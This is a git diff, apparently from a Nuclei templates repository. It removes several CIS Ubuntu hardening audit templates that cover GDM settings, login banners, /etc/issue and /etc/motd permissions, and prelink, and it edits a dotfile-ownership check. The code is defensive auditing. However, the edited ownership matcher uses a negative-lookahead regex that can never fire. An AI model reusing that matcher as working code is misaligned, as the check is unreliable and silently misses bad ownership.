-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
-id: gdm-autorun-never-enabled-check
-
-info:
-  name: Ensure GDM autorun-never is Enabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether GDM is configured to disable autorun for removable media.
-  remediation: |
-    Enable the `autorun-never` setting to prevent automatic execution of content
-    from removable media.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,autorun,media,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
-
-        if [ "$autorun_never" = "true" ]; then
-          echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
-id: gdm-disable-user-list-enabled-check
-
-info:
-  name: Ensure GDM disable-user-list Option is Enabled
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the GDM disable-user-list option is enabled.
-  remediation: |
-    Enable the `disable-user-list` option in GDM to prevent displaying the
-    list of local users on the login screen.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,login,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
-          echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
-        else
-          echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: gdm-login-banner-configured-check
-
-info:
-  name: Ensure GDM Login Banner is Configured
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the GDM login banner is enabled and configured.
-  remediation: |
-    Enable the GDM login banner and configure an appropriate warning message
-    according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
-        banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
-
-        if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
-          echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
-        else
-          echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
-id: gdm-removed-check
-
-info:
-  name: Ensure GDM is Removed
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the GNOME Display Manager (GDM) is installed.
-  remediation: |
-    Remove the GDM package if it is not required:
-      sudo apt remove gdm3 -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,gdm3,package,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s gdm3 &>/dev/null; then
-          echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
-        else
-          echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
-id: gdm-screen-lock-idle-check
-
-info:
-  name: Ensure GDM Screen Locks When the User is Idle
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the screen is configured to lock after a period of user inactivity.
-  remediation: |
-    Configure the screen lock settings to meet your organization's security policy:
-      - Set `lock-delay` to 5 seconds or less.
-      - Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
-        idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
-
-        if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
-           [ "$lock_delay" -le 5 ] && \
-           [ "$idle_delay" -gt 0 ] && \
-           [ "$idle_delay" -le 900 ]; then
-          echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950
@@ -21,10 +21,7 @@ code:
        HOME_DIR=$(eval echo ~$user)
        find "$HOME_DIR" -maxdepth 1 -type f \
          \( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-          -exec ls -l {} \; | awk -v usr="$user" '{
-            if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
-            else print $0
-          }'
+          -exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
      done

    matchers:
@@ -39,5 +36,5 @@ code:
        name: invalid-owner
        part: response
        regex:
-          - "^INVALID_OWNER"
-# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
+          - "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
+# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
-id: issue-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/issue is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/issue has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/issue`:
-      sudo chown root:root /etc/issue
-      sudo chmod 644 /etc/issue
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        mode=$(stat -Lc "%a" /etc/issue)
-        uid=$(stat -Lc "%u" /etc/issue)
-        gid=$(stat -Lc "%g" /etc/issue)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
-id: issue-net-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/issue.net is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/issue.net has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/issue.net`:
-      sudo chown root:root /etc/issue.net
-      sudo chmod 644 /etc/issue.net
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue.net,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        mode=$(stat -Lc "%a" /etc/issue.net)
-        uid=$(stat -Lc "%u" /etc/issue.net)
-        gid=$(stat -Lc "%g" /etc/issue.net)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
-id: local-login-warning-banner-configured-check
-
-info:
-  name: Ensure Local Login Warning Banner is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the local login warning banner is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/issue` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details. Configure the
-    banner according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
-          echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: motd-configured-properly-check
-
-info:
-  name: Ensure Message of the Day is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the Message of the Day (MOTD) is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/motd` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,motd,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
-          echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
-id: motd-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/motd is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/motd has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/motd`:
-      sudo chown root:root /etc/motd
-      sudo chmod 644 /etc/motd
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,motd,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if [ ! -e /etc/motd ]; then
-          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
-          exit 0
-        fi
-
-        mode=$(stat -Lc "%a" /etc/motd)
-        uid=$(stat -Lc "%u" /etc/motd)
-        gid=$(stat -Lc "%g" /etc/motd)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: prelink-not-installed-check
-
-info:
-  name: Ensure Prelink is Not Installed
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the prelink package is installed.
-    Prelink modifies binaries to decrease application startup time, but it
-    interferes with file integrity monitoring and is not recommended on
-    secure systems.
-  remediation: |
-    Remove the prelink package if it is installed:
-      sudo apt remove prelink -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,prelink,package,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s prelink &>/dev/null; then
-          echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
-        else
-          echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950
Author	SHA1	Message	Date
Ritik Chaddha	5f0d1c97ec	fix matcher	2025-11-26 13:44:53 +05:30
Ritik Chaddha	2a8d1d5e83	Create exposed-gitattributes.yaml	2025-11-26 13:39:03 +05:30